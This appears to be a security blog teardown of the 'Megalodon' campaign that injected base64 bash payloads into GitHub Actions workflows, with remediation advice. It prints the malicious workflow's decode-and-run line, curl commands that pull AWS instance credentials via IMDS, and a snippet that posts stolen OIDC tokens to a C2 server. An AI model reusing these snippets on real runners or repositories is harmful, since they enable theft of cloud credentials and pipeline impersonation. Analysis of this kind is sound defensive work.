The Megalodon Breach: How TeamPCP Hijacked 5,500+ GitHub Repositories

Imagine waking up to find your CI/CD pipeline has silently exfiltrated your entire cloud infrastructure. That was the reality for thousands of developers on May 18, 2026.

In a staggering display of automation, a threat actor linked to the infamous TeamPCP syndicate launched the “Megalodon” campaign. Between 11:36 a.m. and 5:48 p.m. UTC, the attackers pushed 5,718 malicious commits to 5,561 distinct GitHub repositories. They didn’t alter application code; they went straight for the infrastructure, injecting Base64-encoded bash payloads directly into GitHub Actions workflow files.

This campaign represents a terrifying evolution in the ongoing software supply chain crisis. The attackers forged commit authors to look like routine CI maintenance, deployed dormant backdoors that execute only on demand, and targeted the very OIDC tokens organizations rely on for secure cloud deployments.

Here is a technical teardown of the Megalodon attack, how the payload strips environments bare, and the immediate steps security engineering teams must take to lock down their repositories.

What to Remember

• Massive Scale: 5,561 GitHub repositories were compromised in a 6-hour window using compromised Personal Access Tokens (PATs) and deploy keys.
• Forged Identities: The malicious commits masquerade as routine maintenance from build-bot, ci-bot, or pipeline-bot using fake noreply.dev emails.
• Dormant Execution: The targeted “Optimize-Build” variant uses the workflow_dispatch trigger, allowing the backdoor to sit silently in the codebase until the attacker triggers it manually.
• OIDC Token Theft: The payload explicitly hunts for GitHub Actions OIDC request URLs, allowing attackers to mint tokens and impersonate your CI/CD pipeline in AWS, GCP, or Azure.
• Immediate Action: Audit your .github/workflows/ directory for unauthorized modifications on or around May 18, 2026, particularly targeting commits from unknown 8-character GitHub handles.

The Megalodon Methodology: Forging the CI Pipeline

Your commit history is lying to you.

To execute the Megalodon campaign at scale without triggering immediate suspicion, the attackers utilized throwaway GitHub accounts with random 8-character usernames (e.g., rkb8el9r, lo6wt4t6). However, because Git allows you to arbitrarily define the author name and email of a commit, they spoofed the metadata to look like automated system updates.

Using compromised PATs or deploy keys, they pushed commits directly to the master or main branches (bypassing Pull Requests entirely). The commits carried benign messages like “ci: add build optimization step” or “chore: sync ci configuration”, authored by [email protected] or [email protected].

If a developer quickly scanned their commit history, it looked like standard dependabot or CI runner activity.

SysDiag vs. Optimize-Build: The Stealth Trade-off

Not all supply chain attacks want immediate execution. Some prefer to wait in the shadows.

Megalodon deployed two distinct workflow variants across the 5,500+ repositories, highlighting a calculated trade-off between reach and operational security (OPSEC).

1. The Mass Variant (SysDiag)

Deployed to the vast majority of repositories, this variant adds a new workflow file (.github/workflows/ci.yml) triggered on push and pull_request_target. This guarantees execution on every commit, maximizing credential theft. The downside? It is noisy and easily caught by failed build notifications.

2. The Targeted Variant (Optimize-Build)

Reserved for higher-value targets such as the open-source live chat platform Tiledesk this variant replaces existing workflows and changes the trigger to workflow_dispatch.

# Malicious Optimize-Build workflow injection
name: Optimize-Build
on:
  workflow_dispatch:
permissions:
  contents: read
  id-token: write
  actions: read
jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 1
      - run: set +e; echo "Q0I9Imh0dHA6Ly8yMTYuMTI2..." | base64 -d | bash

This is incredibly dangerous. Because workflow_dispatch requires manual invocation, the backdoor generates zero visible CI runs, no failed builds, and no red flags in the Actions tab upon commit. The payload sits dormant. Later, if the attacker compromises a GITHUB_TOKEN from any other workflow in the repository, they can trigger this exfiltration pipeline via the GitHub API on demand.

This exact technique poisoned @tiledesk/tiledesk-server (versions 2.18.6 through 2.18.12). The legitimate maintainer unknowingly published the npm package from the poisoned GitHub repository.

The Payload Walkthrough: OIDC Theft & Massive Exfiltration

A 111-line bash script is all it takes to dismantle an enterprise cloud environment.

When the base64 payload executes, it initiates a ruthless, five-phase data harvesting operation, exfiltrating everything to a Command and Control (C2) server at 216.126.225[.]129:8443.

Step 1: Environment & IMDS Scraping

The payload dumps the runner’s environment variables (printenv), reads /proc/self/environ, and extracts the PID 1 environment. It then queries cloud Instance Metadata Service (IMDS) endpoints.

IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token")
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role"

This bypasses IMDSv2 protections to steal the temporary credentials of the AWS EC2 instance hosting the GitHub Actions runner.

Step 2: Credential File Harvesting

It reads 27 specific paths, including ~/.aws/credentials, ~/.kube/config, ~/.npmrc, Terraform state files, and shell history.

Step 3: Source Code Secrets Grepping

It scans the entire workspace using regular expressions designed to match over 30 sensitive patterns, including Stripe keys, SendGrid APIs, GitHub PATs, JWTs, and database connection strings.

Step 4: OIDC Impersonation (The Kill Shot)

The script targets OpenID Connect (OIDC) tokens.

if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
  printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
  _post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi

Organizations are widely moving to OIDC to avoid storing long-lived cloud secrets in GitHub. By stealing the ACTIONS_ID_TOKEN_REQUEST_URL and its associated token, the attacker can mint short-lived tokens on their own machine, successfully impersonating the CI/CD pipeline to AWS, GCP, or Azure.

⚠️ Warning: Relying on OIDC federation without scoping the cloud role to specific branches or workflow files is a severe risk. If your AWS role trusts the entire repository, a rogue workflow can mint a valid token.

Side-Quest: The Polymarket Crypto Stealer

While TeamPCP automated the Megalodon campaign, the supply chain ecosystem is facing concurrent, specialized threats.

Around the same time, a threat actor dubbed “polymarketdev” published nine malicious npm packages (e.g., polymarket-trading-cli, polymarket-bot). Instead of CI/CD backdoors, these relied on social engineering via a postinstall hook.

Upon npm install, the terminal displays a fake wallet onboarding prompt asking the user to paste their Ethereum/Polygon private key, falsely claiming “it stays encrypted.” The script immediately POSTs the plaintext key to an attacker-controlled Cloudflare Worker. This highlights a dual-threat landscape: automated infrastructure attacks (Megalodon) running in parallel with highly targeted, social-engineered developer attacks.

Lessons Learned: Securing the CI/CD Perimeter

• Classic PATs are a massive liability: Attackers used compromised, over-privileged PATs to push directly to master across 5,500+ repositories. Remediation: Organizations must transition to Fine-Grained PATs (scoped to specific repositories and actions) or GitHub Apps. Furthermore, enforce branch protection rules that require signed commits and block direct pushes to main/master entirely.
• Workflow files are critical infrastructure: Attackers silently replaced a Docker build workflow with a credential stealer. Remediation: Use GitHub CODEOWNERS to mandate that any modification to the .github/workflows/ directory requires explicit approval from the security team or DevOps leads, even for administrators.
• OIDC requires strict condition keys: Attackers stole the OIDC request URL to mint cloud tokens. Remediation: When configuring OIDC trust policies in AWS/GCP, use strict condition keys (StringLike on sub) to restrict token issuance to specific branches (e.g., repo:org/name:ref:refs/heads/main).

Conclusion

The Megalodon campaign is a stark reminder that the software supply chain extends far beyond the open-source packages you install. Your CI/CD pipelines, runner environments, and OIDC federations are actively being hunted.

By pushing 5,700+ malicious workflows in just six hours, TeamPCP has proven that defenders must move toward immutable, strictly governed build pipelines. Audit your workflow files, implement strict branch protections, and ensure your cloud IAM roles do not blindly trust your entire GitHub repository.

To further enhance your cloud security and implement Zero Trust, contact me on LinkedIn Profile or [email protected].

Frequently Asked Questions (FAQ)

What is the Megalodon GitHub campaign?

Megalodon is an automated supply chain attack that pushed 5,718 malicious commits to 5,561 GitHub repositories in six hours, injecting workflows to steal cloud credentials and OIDC tokens.

How did the attackers push code without being noticed?

They used compromised Personal Access Tokens (PATs) and forged Git author metadata to make the malicious commits look like routine updates from automated accounts like 'build-bot' or 'ci-bot'.

Why is the 'workflow_dispatch' trigger so dangerous?

By replacing existing triggers with 'workflow_dispatch', the injected malware remains completely dormant and generates no visible CI runs until the attacker manually triggers it via the GitHub API.

What happens if an attacker steals the GitHub Actions OIDC token?

If they steal the ACTIONS_ID_TOKEN_REQUEST_URL and token, they can mint short-lived tokens to impersonate your CI/CD pipeline, granting them authorized access to your AWS, GCP, or Azure environments.

How can I protect my repositories from unauthorized workflow modifications?

Implement branch protection rules to block direct pushes to main, require signed commits, and use CODEOWNERS to mandate security team approval for any changes to the .github/workflows/ directory.